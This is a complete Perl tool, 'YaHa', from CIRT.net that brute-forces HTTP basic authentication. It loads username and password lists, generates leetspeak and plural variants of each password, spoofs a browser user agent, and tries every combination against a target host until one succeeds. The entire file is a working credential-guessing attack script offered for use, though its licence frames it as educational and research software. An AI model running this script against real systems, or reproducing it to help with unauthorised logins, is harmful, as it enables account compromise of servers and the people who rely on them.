#!/usr/local/bin/perl
use LWP::UserAgent;

# YaHa - Yet Another HTTP Authenticator
# an http-brute forcer

# Last Update: 04/05/2004
# fixes from Glen Scott for a broken try() function

###################################################################
#(c) 2001-2004 CIRT.net, All Rights Reserved
#Permission to use, copy, modify, and distribute this software and its documentation for educational,
#research and non-profit purposes, without fee, and without a written agreement is hereby granted,
#provided that the above copyright notice, this paragraph and the following two paragraphs appear 
#in all copies. This software program and documentation are copyrighted by CIRT.net
#
#      THE SOFTWARE PROGRAM AND DOCUMENTATION ARE SUPPLIED "AS IS,"
#      WITHOUT ANY ACCOMPANYING SERVICES FROM CIRT.NET.
#      FURTHERMORE, CIRT.NET DOES NOT
#      WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE
#      UNINTERRUPTED OR ERROR-FREE. THE END-USER UNDERSTANDS THAT
#      THE PROGRAM WAS DEVELOPED FOR RESEARCH PURPOSES AND IS
#      ADVISED NOT TO RELY EXCLUSIVELY ON THE PROGRAM FOR ANY
#      REASON.
#
#      IN NO EVENT SHALL CIRT.NET BE LIABLE TO ANY
#      PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL
#      DAMAGES, INCLUDING LOST PROFITS, ARISING OUT OF THE USE OF THIS
#      SOFTWARE AND ITS DOCUMENTATION, EVEN IF THE CIRT.NET
#      HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
#      CIRT.NET SPECIFICALLY DISCLAIMS ANY
#      WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#      WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
#      PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS ON AN "AS IS" BASIS,
#      AND CIRT.NET HAS NO OBLIGATIONS TO PROVIDE
#      MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
###################################################################

$PWFILE="pwlist.txt";
$USRFILE="idlist.txt";

# get CLI options. this is sloppy
$HOST = @ARGV[0];
$PORT = @ARGV[1];
$FILE = @ARGV[2];

if (@ARGV[3]=~/m/i) { $MUTATE=1; } else { $MUTATE=0; }
if (@ARGV[3]=~/v/i) { $VERBOSE=1; } else { $VERBOSE=0; }

# port validation
if (($PORT eq "")||($PORT < 1)||($PORT > 65535)||($PORT =~ /[^0-9]/)) { &usage; }

# host validation -- could be better...
if (($HOST eq "")||($HOST =~ /[^0-9\.]/) || (length($HOST) > 15)|| (length($HOST) < 7)) { &usage; }

# file validation
if ($FILE eq "") { &usage; }

# 1 load ids/passwords
&load_ids;

# build request
if ($PORT eq 80) { $REQ="$HOST/$FILE"; }
 else { $REQ="$HOST:$PORT/$FILE"; }
$REQ=~ s/\/\//\//g;
$REQ="http://$REQ";
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/4.5 [en] (Win95; U)");

# loop until no more passwords or valid req sent
&attack;

exit;

##########################################################
sub usage
{
 print "\nUsage:  yaha.pl <ip> <port> <file> <options>\n";
 print "Options:  m  --  extended mutation of passwords\n";
 print "       :  v  --  verbose output\n\n";
 print "Example: yaha.pl 10.10.10.10 80 / mv\n\n";
 print "Warning: This script is not smart enough to determine that\n"; 
 print "         if a port has authentication, or even if\n";
 print "         that port isn't open. Pay attention to what you're doing.\n";
 exit;
}
#########################################################
sub load_ids
{
 open(FILE,"<$USRFILE") || die print "Error opening $USRFILE: $!\n";
 @F=<FILE>;
 close(FILE);
 foreach $line (@F)
  {
    if ($line =~ /^\#/) { next; }
    chomp($line);
    $USERS{$line}="";
  }

 #passwords
 open(FILE,"<$PWFILE") || die print "Error opening $PWFILE: $!\n";
 @P=<FILE>;
 close(FILE);
 # mutating?
 foreach $line (@P)
 {
  if ($line =~ /^\#/) { next; }
  chomp($line);
  $PASSWORDS{$line}="";
 }

 foreach $PW (keys %PASSWORDS)
  {
     $PW1=$PW;
     $PW2=$PW;
     #make plural
     if ($PW !~ /s$/i) { $PASSWORDS{"$PW\s"}=""; }
     # make o replace
     $PW1=~s/o/0/ig; 
     $PASSWORDS{$PW1}="";
     # make i replace
     $PW2=~s/i/1/ig;
     $PASSWORDS{$PW2}="";
     # make i/o replace
     $PW2=~s/o/0/ig;
     $PASSWORDS{$PW2}="";
   if ($MUTATE eq 1) # extended mutation
    {
     # make i/o/e replace
     $PW2=~ s/e/3/ig;
     $PASSWORDS{$PW2}="";
     # make i/e replace
     $PW1=$PW;
     $PW1=~s/i/1/ig;
     $PW1=~s/e/3/ig;
     $PASSWORDS{$PW1}="";
     # make o/e replace
     $PW1=$PW;
     $PW1=~s/o/0/ig;
     $PW1=~s/e/3/ig;
     $PASSWORDS{$PW1}="";
    }
  }
 #turn back to arrays 
 foreach $PW (sort keys %PASSWORDS) { push(@PWS,$PW); }
 foreach $ID (sort keys %USERS)     { push(@IDS,$ID); }
 push(@PWS,"");
 return;
}
##########################################################
sub attack
{
 my $RESULT="";
 my $ID="";
 my $PASS="";
 my $CTR=0;
 my $PWC=$#PWS;
 $PWC++;

 foreach my $ID (@IDS)
{ 
  print "Trying ID '$ID' with $PWC passwords\n";
  foreach $PASS (@PWS)
   {
    if ($VERBOSE eq 1) { print "\tTrying password '$PASS'\n"; }
    $CTR++;
    try($ID,$PASS);
   }
 } 
print "Unable to log in with $CTR ID/PW combinations.\n";
}
##########################################################
sub try
{
 my $ID=$_[0];
 my $PW=$_[1];
 $req = new HTTP::Request GET => $REQ;
 $req->authorization_basic($ID,$PW);
 $res = $ua->request($req);
 if ($res->is_success) 
 {
  print "Successfully authenticated with ID '$ID' and pass '$PW'\n";
  exit;
 }
return;
}
##########################################################


